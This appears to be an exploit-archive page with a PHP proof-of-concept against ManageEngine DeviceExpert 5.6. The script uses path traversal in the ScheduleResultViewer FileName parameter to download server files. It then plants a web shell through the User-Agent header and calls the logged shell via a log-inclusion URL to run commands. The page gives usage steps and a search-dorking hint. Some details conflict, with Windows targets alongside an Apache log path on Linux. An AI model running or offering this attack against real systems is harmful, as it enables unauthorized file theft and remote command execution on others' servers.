ManageEngine DeviceExpert 5.6 Traversal / Code Execution
ManageEngine DeviceExpert 5.6 Traversal / Code Execution
ManageEngine DeviceExpert 5.6 Traversal / Code Execution

=============================================================================================================================================
| # Title ManageEngine DeviceExpert 5.6 Traversal / Code Execution

=============================================================================================================================================
| # Title : ManageEngine DeviceExpert 5.6 ScheduleResultViewer FileName PHP Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://download.manageengine.com/ |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: Web Shell injection if the target has an LFI (Local File Inclusion) vulnerability with code execution capability, or RFI (Remote File Inclusion),

or if we can write to a path that the web server can execute,

such as the uploads or webroot folder on the server.

( https://packetstorm.news/files/id/181161/ )

[+] save code as poc.php.

[+] Set Target : line 81

[+] USage : php poc.php

[+] PayLoad :

<?php

class ManageEngineScanner {
private $host;
private $port;
private $ssl;
private $filepath;

public function __construct($host, $port = 6060, $ssl = true, $filepath = 'windows\\win.ini') {
$this->host = $host;
$this->port = $port;
$this->ssl = $ssl;
$this->filepath = $filepath;
}

private function sendRequest($uri, $headers = []) {
$protocol = $this->ssl ? 'https' : 'http';
$url = "$protocol://{$this->host}:{$this->port}$uri";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 25);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

return [$http_code, $response];
}

public function run() {
$traverse = str_repeat("..\\", 10);
$filename = $this->filepath;

list($code, $response) = $this->sendRequest("/scheduleresult.de");
if ($code !== 200) {
echo "[ERROR] Target is not ManageEngine DeviceExpert\n";
return;
}

list($code, $response) = $this->sendRequest("/scheduleresult.de/?FileName={$traverse}{$filename}");

if ($code === 200) {
echo "[SUCCESS] {$this->host}:{$this->port} returns: $code\n";
if (!empty($response)) {
$this->saveFile($response);
} else {
echo "[ERROR] {$this->host}:{$this->port} - no file downloaded (empty)\n";
}
} elseif ($code === 404) {
echo "[ERROR] {$this->host}:{$this->port} - file not found\n";
} else {
echo "[ERROR] Unable to communicate with {$this->host}:{$this->port}\n";
}
}

private function saveFile($content) {
$filename = basename($this->filepath);
$path = __DIR__ . "/$filename";
file_put_contents($path, $content);
echo "[SUCCESS] File saved in: $path\n";
}

public function injectWebShell() {
$webshell = "<?php system(\$_GET['cmd']); ?>";
$headers = ["User-Agent: " . $webshell];

list($code, $response) = $this->sendRequest("/scheduleresult.de", $headers);

if ($code === 200) {
echo "[SUCCESS] Web Shell injected via User-Agent!\n";
echo "Access it at: http://{$this->host}/scheduleresult.de/?FileName=../../../../../../var/log/apache2/access.log&cmd=id\n";
} else {
echo "[ERROR] Web Shell injection failed!\n";
}
}
}

$scanner = new ManageEngineScanner('target_ip_here');
$scanner->run();
$scanner->injectWebShell();

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.